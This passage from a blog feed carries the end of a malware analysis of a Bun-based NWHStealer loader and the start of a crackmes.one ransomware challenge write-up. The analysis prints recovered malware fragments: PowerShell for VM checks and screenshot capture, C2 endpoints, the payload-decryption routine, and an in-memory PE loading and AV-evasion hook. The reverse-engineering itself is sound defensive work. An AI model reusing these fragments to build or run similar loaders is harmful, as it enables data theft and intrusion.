  <li><code class="language-plaintext highlighter-rouge">powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "Get-CimInstance -ClassName Win32_BaseBoard | Select-Object Manufacturer,Product | Format-List"</code></li>
  <li><code class="language-plaintext highlighter-rouge">powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command “Get-CimInstance -ClassName Win32_DiskDrive | Select-Object PNPDeviceID | Format-List”</code></li>
</ul>

<p>The second array contains strings that are compared against the retrieved value to determine whether the system is running in a virtual machine or sandbox environment. These values are then used by the scoring system to assess whether the host is a virtual machine.</p>

<p>In this point system is considered even the software installed on the host. To find it, the script checks for the values in the registry keys <code class="language-plaintext highlighter-rouge">HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code> and <code class="language-plaintext highlighter-rouge">HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall</code>. In addition, USB devices are also checked, inspecting the key <code class="language-plaintext highlighter-rouge">HKLM\SYSTEM\CurrentControlSet\Enum\USB</code>.</p>

<p>To wrap it up, the following is a summary scheme of <code class="language-plaintext highlighter-rouge">sysreq.js</code> execution:</p>

<pre><code class="language-mermaid">---
config:
  theme: 'dark'
---
flowchart TD
    A[Get SMBIOS] --&gt; B[Get ACPI]
    B --&gt; C[Get Disk Drive model]
    C --&gt; R[Get plug n play devices]
    R --&gt; S[Get audio devices]
    S --&gt; D[Get BIOS manufacturer]
    D --&gt; E[Get net interfaces]
    E --&gt; F{Calculate score}
    F --&gt;|&lt;25| G[Get installed software]
    F --&gt;|&gt;=25| H[KO]
    G --&gt; I[Get screen size]
    I --&gt; J[Get USB devices]
    J --&gt; K[Get uptime]
    K --&gt; L[Get number of processes]
    L --&gt; M[Get uptime]
    M --&gt; N{Calculate score 2}
    N --&gt; |&lt;80| O[Get CPU data]
    N --&gt; |&gt;=80| P[KO]
    O --&gt; Q[Get RAM data]
    Q --&gt; T[Get hostname]
    T --&gt; U[Get username]
</code></pre>

<h3 id="mainjs">main.js</h3>

<p>This script coordinates the loader’s execution. First, it calls <code class="language-plaintext highlighter-rouge">sysreq.js</code>’s <code class="language-plaintext highlighter-rouge">validateSystem()</code> function to perform host checks. If the host passes these checks, the script contacts the C2 server, downloads the second-stage binary, decrypts it, and invokes the <code class="language-plaintext highlighter-rouge">exec()</code> function exposed by <code class="language-plaintext highlighter-rouge">memload.js</code> to execute the stage-2 malware.</p>

<p>Note that there is a hidden debug feature activated if the file <code class="language-plaintext highlighter-rouge">C:\Users\&lt;username&gt;\Desktop\98765.txt</code> is found on the victim’s host. In this case, the following object is sent to the C2, effectively bypassing the system check phase:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"ok"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
  </span><span class="nl">"data"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"cpu"</span><span class="p">:</span><span class="w"> </span><span class="s2">"debug"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"ram"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
    </span><span class="nl">"os"</span><span class="p">:</span><span class="w"> </span><span class="s2">"debug"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"host"</span><span class="p">:</span><span class="w"> </span><span class="s2">"&lt;hostname&gt;"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"user"</span><span class="p">:</span><span class="w"> </span><span class="s2">"&lt;username&gt;"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"hw"</span><span class="p">:</span><span class="w"> </span><span class="p">{},</span><span class="w">
    </span><span class="nl">"score"</span><span class="p">:</span><span class="w"> </span><span class="mi">-1</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>In this script, a slightly different string-obfuscation technique is used. The overall structure remains the same as in <code class="language-plaintext highlighter-rouge">sysreq.js</code>: an array contains base64-encoded strings and the corresponding XOR keys. However, the decryption algorithm differs. The Python code written to perform the deobfuscation is the following:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">deobf2</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
    <span class="n">g</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span>
    <span class="n">f</span> <span class="o">=</span> <span class="p">[]</span>

    <span class="k">while</span> <span class="n">g</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="p">:</span>
        <span class="n">f</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">chr</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">[</span><span class="n">g</span><span class="p">]</span> <span class="o">^</span> <span class="nb">ord</span><span class="p">(</span><span class="n">key</span><span class="p">[(</span><span class="n">g</span> <span class="o">+</span> <span class="mi">2</span><span class="p">)</span> <span class="o">%</span> <span class="nb">len</span><span class="p">(</span><span class="n">key</span><span class="p">)])))</span>
        <span class="n">g</span> <span class="o">-=</span> <span class="mi">1</span>

    <span class="k">print</span><span class="p">(</span><span class="s">''</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">f</span><span class="p">))</span>
</code></pre></div></div>

<p>The following strings were recovered:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">d6ea46eb014eda764765658990a6975fcb1102dc3b105dcb117ccbef82b8fe0c</code> (Salt - used to obtain the payload decryption key)</li>
  <li><code class="language-plaintext highlighter-rouge">1c6769e17131d735bf0213ac8611a517ac514ad222494ef6c2280fb1a7a639e2</code> (Report secret)</li>
  <li><code class="language-plaintext highlighter-rouge">/api/status</code> (C2 status endpoint)</li>
  <li><code class="language-plaintext highlighter-rouge">/api/report</code> (C2 report endpoint)</li>
  <li><code class="language-plaintext highlighter-rouge">encryption failed</code></li>
  <li><code class="language-plaintext highlighter-rouge">$b=[System.Windows.Forms.Screen]::PrimaryScreen.Bounds;</code></li>
  <li><code class="language-plaintext highlighter-rouge">$bmp=New-Object Drawing.Bitmap($b.Width,$b.Height);</code></li>
  <li><code class="language-plaintext highlighter-rouge">$g=[Drawing.Graphics]::FromImage($bmp);</code></li>
  <li><code class="language-plaintext highlighter-rouge">$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size);</code></li>
  <li><code class="language-plaintext highlighter-rouge">$ms=New-Object IO.MemoryStream;</code></li>
  <li><code class="language-plaintext highlighter-rouge">$bmp.Save($ms,[Drawing.Imaging.ImageFormat]::Jpeg);</code></li>
  <li><code class="language-plaintext highlighter-rouge">[Convert]::ToBase64String($ms.ToArray())</code></li>
  <li><code class="language-plaintext highlighter-rouge">https://www.google.com/generate_204</code></li>
</ol>

<p>The strings from index 6 to 12 are used to build a PowerShell command to obtain a screenshot of the main screen, which is then sent to C2 server. The URL at index 13 is used to check Internet connection.</p>

<p>The C2 server URL is hardcoded in clear text and it is <code class="language-plaintext highlighter-rouge">https://silent-harvester[.]cc</code>:</p>

<ul>
  <li>At path <code class="language-plaintext highlighter-rouge">/api/report</code> the loader sends system information (and score) gathered by <code class="language-plaintext highlighter-rouge">sysreq.js</code> module.</li>
  <li>At path <code class="language-plaintext highlighter-rouge">/api/status</code> it downloads the seed used to generate the stage-2 decryption key.</li>
  <li>at path <code class="language-plaintext highlighter-rouge">/api/payload</code> it downloads the encrypted stage-2.</li>
</ul>

<p>The code in this module implements an additional obfuscation technique designed to slow down analysis. In particular, several functions act as wrappers: they take the target function as their first argument and the parameters to pass to that function as the remaining arguments. For example, consider the following function used to decrypt the strings:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">_hayn</span><span class="p">(</span><span class="nx">c</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">var</span> <span class="nx">d</span> <span class="o">=</span> <span class="p">{</span>
    <span class="na">VYuMe</span><span class="p">:</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">k</span><span class="p">,</span> <span class="nx">l</span><span class="p">,</span> <span class="nx">m</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// Wrapper function</span>
      <span class="k">return</span> <span class="nx">k</span><span class="p">(</span><span class="nx">l</span><span class="p">,</span> <span class="nx">m</span><span class="p">);</span>
    <span class="p">},</span>
    <span class="na">TatoI</span><span class="p">:</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">k</span><span class="p">,</span> <span class="nx">l</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// Wrapper function</span>
      <span class="k">return</span> <span class="nx">k</span><span class="p">(</span><span class="nx">l</span><span class="p">);</span>
    <span class="p">},</span>
    <span class="na">VzRIa</span><span class="p">:</span> <span class="dl">"</span><span class="s2">base64</span><span class="dl">"</span><span class="p">,</span>
    <span class="na">lbegl</span><span class="p">:</span> <span class="dl">"</span><span class="s2">2|3|0|5|1|4</span><span class="dl">"</span><span class="p">,</span>
    <span class="na">LDuAA</span><span class="p">:</span> <span class="dl">"</span><span class="s2">log</span><span class="dl">"</span><span class="p">,</span>
    <span class="na">elHIg</span><span class="p">:</span> <span class="dl">"</span><span class="s2">warn</span><span class="dl">"</span><span class="p">,</span>
    <span class="na">MvPOU</span><span class="p">:</span> <span class="dl">"</span><span class="s2">info</span><span class="dl">"</span><span class="p">,</span>
    <span class="na">VKPgX</span><span class="p">:</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">k</span><span class="p">,</span> <span class="nx">l</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">return</span> <span class="nx">k</span> <span class="o">+</span> <span class="nx">l</span><span class="p">;</span>
    <span class="p">},</span>
    <span class="na">RvBrP</span><span class="p">:</span> <span class="dl">"</span><span class="s2">{}.constructor(</span><span class="se">\"</span><span class="s2">return this</span><span class="se">\"</span><span class="s2">)( )</span><span class="dl">"</span>
  <span class="p">};</span>
  <span class="kd">var</span> <span class="nx">e</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">1|5|2|4|3|0</span><span class="dl">"</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2">|</span><span class="dl">"</span><span class="p">);</span>
  <span class="kd">var</span> <span class="nx">f</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="k">while</span> <span class="p">(</span><span class="kc">true</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">switch</span> <span class="p">(</span><span class="nx">e</span><span class="p">[</span><span class="nx">f</span><span class="o">++</span><span class="p">])</span> <span class="p">{</span>
      <span class="k">case</span> <span class="dl">"</span><span class="s2">0</span><span class="dl">"</span><span class="p">:</span>
        <span class="k">return</span> <span class="nx">d</span><span class="p">.</span><span class="nx">VYuMe</span><span class="p">(</span><span class="nx">_hayl</span><span class="p">,</span> <span class="nx">Buffer</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="nx">d</span><span class="p">.</span><span class="nx">TatoI</span><span class="p">(</span><span class="nx">joinBase64Str</span><span class="p">,</span> <span class="nx">i</span><span class="p">[</span><span class="mi">0</span><span class="p">]),</span> <span class="nx">d</span><span class="p">.</span><span class="nx">VzRIa</span><span class="p">),</span> <span class="nx">i</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
      <span class="k">case</span> <span class="dl">"</span><span class="s2">1</span><span class="dl">"</span><span class="p">:</span>
        <span class="kd">var</span> <span class="nx">g</span> <span class="o">=</span> <span class="p">{</span>
          <span class="na">fUOIX</span><span class="p">:</span> <span class="nx">d</span><span class="p">.</span><span class="nx">lbegl</span><span class="p">,</span>
          <span class="na">PVSQt</span><span class="p">:</span> <span class="nx">d</span><span class="p">.</span><span class="nx">LDuAA</span><span class="p">,</span>
          <span class="na">tJiem</span><span class="p">:</span> <span class="nx">d</span><span class="p">.</span><span class="nx">elHIg</span><span class="p">,</span>
          <span class="na">ekRqR</span><span class="p">:</span> <span class="nx">d</span><span class="p">.</span><span class="nx">MvPOU</span><span class="p">,</span>
          <span class="na">unDgq</span><span class="p">:</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">k</span><span class="p">,</span> <span class="nx">l</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nx">k</span><span class="p">(</span><span class="nx">l</span><span class="p">);</span>
          <span class="p">},</span>
          <span class="na">OpFHi</span><span class="p">:</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">k</span><span class="p">,</span> <span class="nx">l</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nx">d</span><span class="p">.</span><span class="nx">VKPgX</span><span class="p">(</span><span class="nx">k</span><span class="p">,</span> <span class="nx">l</span><span class="p">);</span>
          <span class="p">},</span>
          <span class="na">IVveI</span><span class="p">:</span> <span class="nx">d</span><span class="p">.</span><span class="nx">RvBrP</span>
        <span class="p">};</span>
        <span class="k">continue</span><span class="p">;</span>
      <span class="k">case</span> <span class="dl">"</span><span class="s2">2</span><span class="dl">"</span><span class="p">:</span>
        <span class="k">continue</span><span class="p">;</span>
      <span class="k">case</span> <span class="dl">"</span><span class="s2">3</span><span class="dl">"</span><span class="p">:</span>
        <span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="nx">encStr</span><span class="p">[</span><span class="nx">c</span><span class="p">];</span>
        <span class="k">continue</span><span class="p">;</span>
      <span class="k">case</span> <span class="dl">"</span><span class="s2">4</span><span class="dl">"</span><span class="p">:</span>
        <span class="k">continue</span><span class="p">;</span>
      <span class="k">case</span> <span class="dl">"</span><span class="s2">5</span><span class="dl">"</span><span class="p">:</span>
        <span class="k">continue</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">break</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Here, the functions defined inside the <code class="language-plaintext highlighter-rouge">d</code> object serve as wrappers: their first parameter is the target function to execute. These wrapper functions are then invoked inside case “0” of the switch statement. The first wrapper (<code class="language-plaintext highlighter-rouge">d.VYuMe</code>) is used to call the function to perform the string decryption, while the second (<code class="language-plaintext highlighter-rouge">d.TatoI</code>) is used to call the function to join the base64 strings.</p>

<p>After sending the host information to the C2 server, the subsequent GET to <code class="language-plaintext highlighter-rouge">/api/status</code> is done by adding as a GET parameter <code class="language-plaintext highlighter-rouge">v</code> the build id of the sample, probably to allow the C2 server to identify different versions. As a response, the server returns a seed used by the loader to generate the key to decrypt the payload retrieved with a third GET call against <code class="language-plaintext highlighter-rouge">/api/payload</code> path. This payload is encrypted with AES-256-GCM algorithm and it is decrypted using the SHA256 of the concatenation of the seed plus the salt string as key, with the first 12 bytes of the payload used as IV. The function is the following:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">decryptc2payload</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span> <span class="nx">seed</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">var</span> <span class="nx">c</span> <span class="o">=</span> <span class="p">{</span>
    <span class="na">xzPDC</span><span class="p">:</span> <span class="dl">"</span><span class="s2">7|5|3|4|1|6|0|2</span><span class="dl">"</span><span class="p">,</span>
    <span class="na">calcHashWrap</span><span class="p">:</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">l</span><span class="p">,</span> <span class="nx">m</span><span class="p">,</span> <span class="nx">n</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">return</span> <span class="nx">l</span><span class="p">(</span><span class="nx">m</span><span class="p">,</span> <span class="nx">n</span><span class="p">);</span>
    <span class="p">},</span>
    <span class="na">concatWrap</span><span class="p">:</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">l</span><span class="p">,</span> <span class="nx">m</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">return</span> <span class="nx">l</span> <span class="o">+</span> <span class="nx">m</span><span class="p">;</span>
    <span class="p">},</span>
    <span class="na">CheckExistenceWrap</span><span class="p">:</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">l</span><span class="p">,</span> <span class="nx">m</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">return</span> <span class="nx">l</span> <span class="o">||</span> <span class="nx">m</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">};</span>
  <span class="k">try</span> <span class="p">{</span>
    <span class="kd">var</span> <span class="nx">d</span> <span class="o">=</span> <span class="nx">c</span><span class="p">.</span><span class="nx">xzPDC</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2">|</span><span class="dl">"</span><span class="p">);</span>
    <span class="kd">var</span> <span class="nx">f</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">while</span> <span class="p">(</span><span class="kc">true</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">switch</span> <span class="p">(</span><span class="nx">d</span><span class="p">[</span><span class="nx">f</span><span class="o">++</span><span class="p">])</span> <span class="p">{</span>
        <span class="k">case</span> <span class="dl">"</span><span class="s2">0</span><span class="dl">"</span><span class="p">:</span>
          <span class="nx">k</span><span class="p">.</span><span class="nx">setAuthTag</span><span class="p">(</span><span class="nx">i</span><span class="p">);</span>
          <span class="k">continue</span><span class="p">;</span>
        <span class="k">case</span> <span class="dl">"</span><span class="s2">1</span><span class="dl">"</span><span class="p">:</span>
          <span class="kd">var</span> <span class="nx">g</span> <span class="o">=</span> <span class="nx">a</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">28</span><span class="p">);</span>
          <span class="k">continue</span><span class="p">;</span>
        <span class="k">case</span> <span class="dl">"</span><span class="s2">2</span><span class="dl">"</span><span class="p">:</span>
          <span class="k">return</span> <span class="nx">Buffer</span><span class="p">.</span><span class="nx">concat</span><span class="p">([</span><span class="nx">k</span><span class="p">.</span><span class="nx">update</span><span class="p">(</span><span class="nx">g</span><span class="p">),</span> <span class="nx">k</span><span class="p">.</span><span class="nx">final</span><span class="p">()]);</span>
        <span class="k">case</span> <span class="dl">"</span><span class="s2">3</span><span class="dl">"</span><span class="p">:</span>
          <span class="kd">var</span> <span class="nx">iv</span> <span class="o">=</span> <span class="nx">a</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">12</span><span class="p">);</span>
          <span class="k">continue</span><span class="p">;</span>
        <span class="k">case</span> <span class="dl">"</span><span class="s2">4</span><span class="dl">"</span><span class="p">:</span>
          <span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="nx">a</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="mi">28</span><span class="p">);</span>
          <span class="k">continue</span><span class="p">;</span>
        <span class="k">case</span> <span class="dl">"</span><span class="s2">5</span><span class="dl">"</span><span class="p">:</span>
          <span class="kd">var</span> <span class="nx">key</span> <span class="o">=</span> <span class="nx">c</span><span class="p">.</span><span class="nx">calcHashWrap</span><span class="p">(</span><span class="nx">calculate_hash</span><span class="p">,</span> <span class="nx">c</span><span class="p">.</span><span class="nx">concatWrap</span><span class="p">(</span><span class="nx">seed</span><span class="p">,</span> <span class="nx">_hayp</span><span class="p">.</span><span class="nx">SALT</span><span class="p">),</span> <span class="dl">"</span><span class="s2">sha256</span><span class="dl">"</span><span class="p">);</span>
          <span class="k">continue</span><span class="p">;</span>
        <span class="k">case</span> <span class="dl">"</span><span class="s2">6</span><span class="dl">"</span><span class="p">:</span>
          <span class="kd">var</span> <span class="nx">k</span> <span class="o">=</span> <span class="nx">cryptoMod</span><span class="p">.</span><span class="nx">createDecipheriv</span><span class="p">(</span><span class="dl">"</span><span class="s2">aes-256-gcm</span><span class="dl">"</span><span class="p">,</span> <span class="nx">key</span><span class="p">,</span> <span class="nx">iv</span><span class="p">);</span>
          <span class="k">continue</span><span class="p">;</span>
        <span class="k">case</span> <span class="dl">"</span><span class="s2">7</span><span class="dl">"</span><span class="p">:</span>
          <span class="k">if</span> <span class="p">(</span><span class="nx">c</span><span class="p">.</span><span class="nx">CheckExistenceWrap</span><span class="p">(</span><span class="o">!</span><span class="nx">a</span><span class="p">,</span> <span class="o">!</span><span class="nx">seed</span><span class="p">))</span> <span class="p">{</span>
            <span class="k">return</span> <span class="kc">null</span><span class="p">;</span>
          <span class="p">}</span>
          <span class="k">continue</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="k">break</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">l</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="kc">null</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Note how the sequence stored in <code class="language-plaintext highlighter-rouge">c.xzPDC</code> determines the order of the operations to perform, where element corresponds to a branch of the switch case.</p>

<p>After the decryption, the payload is passed to <code class="language-plaintext highlighter-rouge">memload.js</code> module, using its <code class="language-plaintext highlighter-rouge">exec()</code> function. Finally, a new POST to <code class="language-plaintext highlighter-rouge">/api/report</code> is performed to notify the C2 server about the correct decryption and execution of the second stage. As detailed in the next section, the payload downloaded from the C2 server is a PE file to be executed.</p>

<h3 id="memloadjs">memload.js</h3>

<p>The analysis of this script is pretty straightforward, since this module logs everything it does using strings stored in clear text. In addition, there is a second exposed function used to obtain all the logs collected during the module’s <code class="language-plaintext highlighter-rouge">exec()</code> execution. Finally, there is no particular code obfuscation technique used to obstruct static analysis.</p>

<p>As the name suggested, the goal of this module is to load the PE downloaded by <code class="language-plaintext highlighter-rouge">main.js</code> module and execute it. To do it, it uses the Bun module <code class="language-plaintext highlighter-rouge">FFI</code> to load native libraries. In this way it is possible to call Windows APIs like <code class="language-plaintext highlighter-rouge">VirtualAlloc()</code> and <code class="language-plaintext highlighter-rouge">CreateThread()</code> from JavaScript code.</p>

<p>The module does what a classic loader would do:</p>

<ul>
  <li>Parses the PE</li>
  <li>Loads the PE in the memory</li>
  <li>Resolves its imports</li>
  <li>Creates a new thread</li>
</ul>

<p>In addition, the loader creates a hook in <code class="language-plaintext highlighter-rouge">ExitProcess()</code> to make it call <code class="language-plaintext highlighter-rouge">ExitThread()</code> instead. This technique is usually used to bypass AV/EDR detection and to avoid to kill the parent process.</p>

<p>After loading the stage 2, the module returns a status code to <code class="language-plaintext highlighter-rouge">main.js</code>, which communicates with the C2 server to report about the injection.</p>

<hr />

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>https://github.com/j4k0xb/webcrack <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>Roberto Perico</name><email>roberperico@gmail.com</email></author><category term="loader" /><category term="bun" /><category term="malware" /><summary type="html"><![CDATA[In the last weeks a new malware sample has emerged and caught the attention, being one of the most download sample from Malwarebazaar. This malware is the new NWHStealer and different types of loader are emerging to try to spread it as much as possible. This particular loader analyzed here has been built using Bun, a relatively new JavaScript runtime engine written in Zig but that, at the moment, it’s being rewritten in Rust. This engine has been acquired by Anthropic recently, so it has some attention behind. In this blog post i will analyze this loader, showing how the executable is structured and what it does once executed.]]></summary></entry><entry><title type="html">Crackmes.one nukoneZ’s Ransomware</title><link href="https://onebyteram.github.io/ransomware/crackme/2026/01/17/ransomware-crackme.html" rel="alternate" type="text/html" title="Crackmes.one nukoneZ’s Ransomware" /><published>2026-01-17T22:00:00+00:00</published><updated>2026-01-17T22:00:00+00:00</updated><id>https://onebyteram.github.io/ransomware/crackme/2026/01/17/ransomware-crackme</id><content type="html" xml:base="https://onebyteram.github.io/ransomware/crackme/2026/01/17/ransomware-crackme.html"><![CDATA[<p>On the famous crackmes.one site, a challenge named <code class="language-plaintext highlighter-rouge">nukoneZ's Ransomware</code> was awarded as the best challenge for the month of June 2025. This challenge was the last to be awarded, since it seems the website didn’t announce other winners in the following months. Moved by curiosity, I’ve played this challenge and here’s the writeup.</p>

<ul id="markdown-toc">
  <li><a href="#introduction" id="markdown-toc-introduction">Introduction</a>    <ul>
      <li><a href="#recorduserpcapng-analysis" id="markdown-toc-recorduserpcapng-analysis">RecordUser.pcapng Analysis</a></li>
      <li><a href="#click_meexe-analysis" id="markdown-toc-click_meexe-analysis">Click_Me.exe Analysis</a></li>
      <li><a href="#encryption-and-sending-personal-file---sub_1de1" id="markdown-toc-encryption-and-sending-personal-file---sub_1de1">Encryption and Sending Personal File - sub_1DE1()</a>        <ul>
          <li><a href="#s-box-initialization---sub_148c" id="markdown-toc-s-box-initialization---sub_148c">S-Box Initialization - sub_148C()</a></li>
          <li><a href="#rc4-encryption---sub_1558" id="markdown-toc-rc4-encryption---sub_1558">RC4 Encryption - sub_1558()</a></li>
        </ul>
      </li>
      <li><a href="#encryption-and-sending-of-libgendll---sub_1fb3" id="markdown-toc-encryption-and-sending-of-libgendll---sub_1fb3">Encryption and Sending of libgen.dll - sub_1FB3()</a></li>
    </ul>
  </li>
  <li><a href="#libgendll-analysis" id="markdown-toc-libgendll-analysis">libgen.dll Analysis</a></li>
  <li><a href="#obtaining-the-flag" id="markdown-toc-obtaining-the-flag">Obtaining the Flag</a></li>
</ul>

<h1 id="introduction">Introduction</h1>
<p>This is a challenge written in C/C++ for Windows platform, classified with a difficulty level of 3.1 (Medium)<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>.</p>

<p>The description of the challenge, reported on crackmes.one, is:</p>

<blockquote>
  <p>A hacker launched a ransomware attack on Lisa’s machine, encrypting all critical data in her wallet. Help Lisa recover her lost files!</p>
</blockquote>

<p>As suggested even by the challenge’s name, this is something ransomware-related, so, most likely, we will have to deal with some encrypted file.</p>

<p>The downloaded zip contains another zip file named <code class="language-plaintext highlighter-rouge">Ransomware.zip</code>, and its content is the following:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>unzip <span class="nt">-l</span> Ransomware.zip 
Archive:  Ransomware.zip
  Length      Date    Time    Name
<span class="nt">---------</span>  <span class="nt">----------</span> <span class="nt">-----</span>   <span class="nt">----</span>
        0  2025-06-11 09:00   Ransomware/
   149945  2025-06-11 01:08   Ransomware/Click_Me.exe
    29040  2025-06-11 01:24   Ransomware/RecordUser.pcapng
<span class="nt">---------</span>                     <span class="nt">-------</span>
   178985                     3 files
</code></pre></div></div>

<h2 id="recorduserpcapng-analysis">RecordUser.pcapng Analysis</h2>
<p>The <code class="language-plaintext highlighter-rouge">RecordUser.pcapng</code> file contains 4 different streams:</p>

<ul>
  <li>HTTP GET request from <code class="language-plaintext highlighter-rouge">192.168.134.132</code> to <code class="language-plaintext highlighter-rouge">http://192.168.56.1:8000/anonymous</code></li>
  <li>3 different TCP streams from <code class="language-plaintext highlighter-rouge">192.168.134.1</code> to <code class="language-plaintext highlighter-rouge">192.168.134.132:8888</code> with different data exchanged</li>
</ul>

<p>The <code class="language-plaintext highlighter-rouge">anonymous</code> file returned by the web server seems to be encrypted, as well as the first 2 TCP streams. The most interesting stream is the last one, since it is a log:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LOG:125
[2025-06-10 09:14:23.642] [INFO] [User: Lisa] Accessed suspicious website: https://freemusic-fastdownload[.]fun/randomfolder/
LOG:122
[2025-06-10 09:14:26.891] [WARNING] [User: Lisa] Downloaded suspicious executable file: Click_Me.exe from external source.
LOG:109
[2025-06-10 09:14:27.012] [AV Monitor] Suspicious file "Click_Me.exe" detected. Heuristic analysis pending...
LOG:134
[2025-06-10 09:15:03.217] [CRITICAL] [User: Lisa] Executed potentially malicious file: C:\Users\Lisa\Downloads\Ransomware\Click_Me.exe
LOG:120
[2025-06-10 09:15:03.401] [AV Monitor] ALERT: Click_Me.exe flagged as high-risk (Potential Ransomware behavior detected)
LOG:114
[2025-06-10 09:15:05.402] [NETWORK] Malicious process established outbound TCP connection to 192.168.134.132:23946
LOG:125
[2025-06-10 09:15:06.005] [Firewall] Suspicious network activity allowed: No rule matched ... potential backdoor established.
LOG:98
[2025-06-10 09:15:10.763] [RANSOMWARE] File encryption started: C:\ProgramData\Important\ (*.lckd)
LOG:106
[2025-06-10 09:15:11.001] [RANSOMWARE] Sensitive file encrypted: C:\Users\Lisa\Documents\wallet_backup.dat
LOG:100
[2025-06-10 09:15:11.223] [AV Monitor] Real-time protection bypassed. File system changes confirmed.
LOG:86
[2025-06-10 09:15:12.348] [RANSOMWARE] Behavior confirmed: Click_Me.exe is ransomware.
LOG:83
[2025-06-10 09:15:14.120] [CRITICAL] System compromised. Ransom note expected soon.
</code></pre></div></div>

<p>From these logs it is possible to reconstruct what’s happened: Lisa downloaded a malicious file (<code class="language-plaintext highlighter-rouge">Click_Me.exe</code>) from a suspicious website and executed it, causing the encryption of all its personal data. So, the analysis of <code class="language-plaintext highlighter-rouge">Click_Me.exe</code> should reveal functions that perform Internet requests and encryption of files.</p>

<h2 id="click_meexe-analysis">Click_Me.exe Analysis</h2>

<p>The file <code class="language-plaintext highlighter-rouge">Click_Me.exe</code> file is a classic PE without any kind of obfuscation:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>file Click_Me.exe 
Click_Me.exe: PE32+ executable <span class="k">for </span>MS Windows 5.02 <span class="o">(</span>console<span class="o">)</span>, x86-64, 20 sections
</code></pre></div></div>

<p>So, I’ve opened it with IDA to inspect its inner workings. Here’s the <code class="language-plaintext highlighter-rouge">main</code> function:</p>

